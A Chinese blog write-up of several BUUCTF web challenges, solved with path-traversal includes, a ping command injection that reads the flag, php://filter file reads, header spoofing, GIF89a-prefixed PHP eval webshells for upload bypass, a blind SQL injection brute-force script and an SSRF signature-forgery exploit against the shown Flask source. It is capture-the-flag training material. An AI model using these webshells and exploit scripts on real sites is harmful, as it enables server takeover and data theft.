web刷题

[HCTF 2018]WarmUp

知识点

php include用法,包含路径、php代码审计、_REQUEST

做题过程

1、因为是_REQUEST,所以我们尝试在url上构造 ?file=hint.php执行一次include 看看回显

image-20240201124324043

2、构造:

buuoj.cn:81/source.php?file=hint.php?../../../../../ffffllllaaaagggg

以此让include 加载../../../../../ffffllllaaaagggg

image-20240201131728026

flag 即为: flag{349149b1-4c6f-44f7-9070-d45523225066}

[ACTF2020 新生赛]Exec

知识点

 -c 1 127.0.0.1; ls -R ../../../

image-20240201181438338

再构造:

 -c 1 127.0.0.1; cat ../../../flag

image-20240201181526936

拿到flag: flag{403bc638-1316-4e4a-b17a-f4899145c0e3}

[极客大挑战 2019]Secret File

知识点: 文件包含漏洞,php://filter

1、找到关键文件的位置

image-20240202175823674

http://0edb6436-cb34-4eca-819a-0255da1739ae.node5.buuoj.cn:81/secr3t.php

image-20240202175843023

2、显然是文件包含漏洞,被ban掉了input和data,那就只有php://filter了

尝试构造:

http://0edb6436-cb34-4eca-819a-0255da1739ae.node5.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20240202180002927

3、base64解码:

import base64
cip = "PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7OWM4M2MyNTgtNWQyYi00OWE2LTlhNTctOGVlYmFhOTVkMzdlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo="
x = base64.b64decode(cip)
print(x)
fp = open("flag.php","wb")
fp.write(x)
fp.close()

得到:

image-20240202180034237

flag即为: flag{9c83c258-5d2b-49a6-9a57-8eebaa95d37e}

[极客大挑战 2019]Http

考点: http请求头绕过:Referer 、X-Forwarded-For、User-Agent

1、添加header: Referer : https://Sycsecret.buuoj.cn

image-20240202205232759

Please use "Syclover" browser

User-Agent的作用就是告诉服务器,客户机的软件环境

2、把这里的firefox改成Syclover 即可

image-20240202205521992

No!!! you can only read this locally!!!

3、也就是说我们只能在本地访问,那么意思就是要我们使用127.0.0.1来访问,

image-20240202210546268

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:26403
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Syclover/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Referer : https://Sycsecret.buuoj.cn
X-Forwarded-For : 127.0.0.1

4、拿到flag:

flag{314858af-c47a-4fb8-b11b-4010be00cc1c}

[极客大挑战 2019]Upload

知识点: 文件上传漏洞

1、一句话木马

<?php @eval($_GET['Name'])?>

image-20240202213124224

2、改一下后缀:

image-20240202213429239

image-20240202213435454

看来有 <? 检测

3、使用js+php变形版的一句话木马进行绕过

很明显还是不行,他检测出了这不是照片

image-20240202214452259

4、我们可以尝试给他加一个图片的文件头,最常用的就是GIF89a了

构造为:

GIF89a <script language="php">eval($_REQUEST['Name'])</script>

image-20240202214733957

上传成功

5、再猜测一下目录位置是/upload/访问一下看看

http://f39e10ae-2733-4aac-b594-506fdc4370eb.node5.buuoj.cn:81/upload/

image-20240202215012013

珍得食泥鸭

6、上传的后缀名为图片执行不了php命令

image-20240202224158924

7、把后缀名改为 phtml 后上传

抓一下包:

image-20240202221040993

修改文件类型: 为 image/png 即可

直接上蚁剑

image-20240202223821692

链接成功

image-20240202224053186

image-20240202223852109

8、得到flag: flag{9cccedeb-aff0-4f3f-b71f-c3725d7e97a5}

[ACTF2020 新生赛]Upload

知识点: 文件上传 + 前端js绕过

直接上传一句话木马:

One_sentence_horse.phtml

GIF89a <script language="php">eval($_REQUEST['Name'])</script>

image-20240203120450506

抓包抓不到,猜测是前端检测

修改一下,即可绕过

image-20240203120315032

蚁剑一把梭

image-20240203120430050

拿到flag

flag{dbbf9b66-b384-4dd3-884f-08610dde65db}

[CISCN2019 华北赛区 Day2 Web1]Hack World

知识点: 二分盲注爆破、or与空格过滤

通过测试,发现过滤了一些东西,比如 空格、双引号、or、and等等

可以使用IF来代替 or ,用脚本来爆破这个盲注

exp:

import requests

url = "http://8c0d03aa-d2cf-428f-829e-c499d6e8e98d.node5.buuoj.cn:81/index.php"
start = 32
end = 128
flag = ""
idx = -1
while True:
    idx += 1
    l=start
    r=end
    while l<r:
        mid = l+r >> 1
        sql =  '''IF(ascii(substr((SELECT(flag)from(flag)),%d,1))>%d,1,2)''' % (idx,mid)
        data = {"id":sql}
        res = requests.post(url=url, data=data)
        if "Hello, glzjin wants a girlfriend" in res.text:              # '' > mid 
            l = mid+1
        elif "Do you want to be my girlfriend" in res.text:             # '' <= mid
            r = mid
        else:
            assert 0
    flag += chr(l)
    print(flag)

以^的方式构造也行

import requests
url = "http://8c0d03aa-d2cf-428f-829e-c499d6e8e98d.node5.buuoj.cn:81/index.php"

# sql = '''SELECT NAME FROM users WHERE id=0^ascii(substr((SELECT(flag)from(flag)),0,1))>10'''
sql = '''0^(ascii(substr((SELECT(flag)from(flag)),1,1))>32)'''

data = {"id":sql}
res = requests.post(url=url, data=data)
print(res.text)

拿到flag

image-20240203144524381

flag即为: flag{3102377c-a185-42a6-8c71-52e17e6a3d60}

[De1CTF 2019]SSRF Me

考点: SSRF、伪造签名、脑洞

一些python用法

python @的用法

https://www.cnblogs.com/daniumiqi/p/12162192.html

https://developer.aliyun.com/article/1372362

def decorator(func):
    return func
@decorator
def some_func():
    pass

等价于:

def decorator(func):
    return func
def some_func():
    pass
some_func = decorator(some_func)
def message(func):
    def wrapper():
        print("Hello Decorator")
        func()
    return wrapper
@message
def myfunc():
    print("Hello World")
myfunc()

等价于:

def myfunc():
    print("Hello World")
myfunc = message(myfunc)
myfunc()

python urllib库

1、urllib.parse.unquote(request.args.get("param", ""))

request.args.get("param", "") 从HTTP请求的查询参数中获取名为 "param" 的参数的值。如果没有找到这个参数,就返回一个空字符串作为默认值。

urllib.parse.unquote可以进行url解码

2、request.cookies.get("action")

功能是从HTTP请求中获取名为 "action" 的Cookie值

3、 urllib.request.urlopen(url).read()

import urllib.request

url = "http://www.baidu.com"
dt = urllib.request.urlopen(url).read()
print(dt)

整体上的功能是访问指定的URL并读取该URL页面的内容,然后将这些内容作为字节串(bytes)返回

urlopen也可以读取本地文件

import urllib.request

# 你需要将其转换为URL格式
file_url = r'file:///C:\Users\Administrator\Desktop\CTFer-Web\sql\sql-learn\test.py'  # 注意:在Windows上,你可能需要使用三个斜杠('file:///')

# 使用urlopen打开本地文件
with urllib.request.urlopen(file_url) as f:
    file_content = f.read()

# 打印文件内容
print(file_content.decode('utf-8'))

Flask web用法

Flask(__name__)用法

from flask import Flask
app = Flask(__name__)

1、from flask import Flask:这一行代码从Flask包中导入Flask类。Flask类是框架的核心,你将使用它来创建你的web应用。

2、app = Flask(__name__):这里创建了一个Flask应用的实例。__name__是一个特殊变量,它指向当前Python脚本的名字。在Flask中,它被用来确定应用的根目录,以便Flask能够找到资源文件(如模板文件和静态文件)的位置。创建这个实例之后,你可以用它来定义路由和视图函数。

@app.route('/') 用法

下面的代码创建了一个简单的路由:

@app.route('/')
def hello_world():
    return 'Hello, World!'

这个路由装饰器告诉Flask,当用户访问应用的根URL(即/)时,调用hello_world函数。hello_world函数返回的字符串将显示在用户的浏览器中。

@app.route('/De1ta',methods=['GET','POST'])用法

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/De1ta', methods=['GET','POST']) 表示当用户通过HTTP请求访问"/De1ta"路径时,可以使用GET和POST两种HTTP方法来访问这个路由。

app.run(debug=True)

这里,app.run(debug=True)启动了一个本地的开发服务器,debug=True开启了调试模式,当你的代码发生变化时,服务器会自动重载,而且会提供一个交互式的调试器来调试代码。

解题思路

1、访问网站根目录,得到源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):     # secert_key + param + action的哈希摘要
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():                                            
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())



@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()             # 取出收尾空白字符并转小写
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

2、服务端把我们传入的参数经过waf()函数处理后,构造一个Task的对象

waf函数检测param是否已'gopher'或'file'开头,以此试图阻止我们使用gopher协议和file协议读取它本地的文件

3、解题关键

  • 注意到 获取签名的函数geneSign中action是静态的,是定死的,但param是可控的
  • Task签名校验函数checkSign中的action与param是可控的,并且md5明文顺序是: param + action

据次,我们可以以不同的方式伪造两个相同的签名: md5(secert_key + param(./flag.txtread) + action(scan)) <==> md5(secert_key + param(./flag.txt) + action(readscan))

exp.py:

import requests

### 先获取(伪造)签名
url = "http://185109fa-213a-4482-8ee3-3f8906621af4.node5.buuoj.cn:81/"
param = "?param=flag.txtread"

req = requests.get(url=url+"geneSign"+param)
print(req.text)                          #  md5(secert_key + param(./flag.txtread) + action(scan))




### 再使用伪造的签名来scan文件

cookies = {}
cookies["sign"] = req.text              # md5(secert_key + param(./flag.txt) + action(readscan))
cookies["action"] = "readscan"
param = "?param=flag.txt"
req = requests.get(url = url + "De1ta" + param,cookies=cookies)        
print(req.text)                          

### 最后使用伪造的签名来read文件(其实在上面那一步就已经完成了)

拿到flag

image-20240203191501936

flag{5123d2a1-48b2-4883-9593-40965b3b4d66}

posted @ 2024-02-03 21:12  TLSN  阅读(51)  评论(0编辑  收藏  举报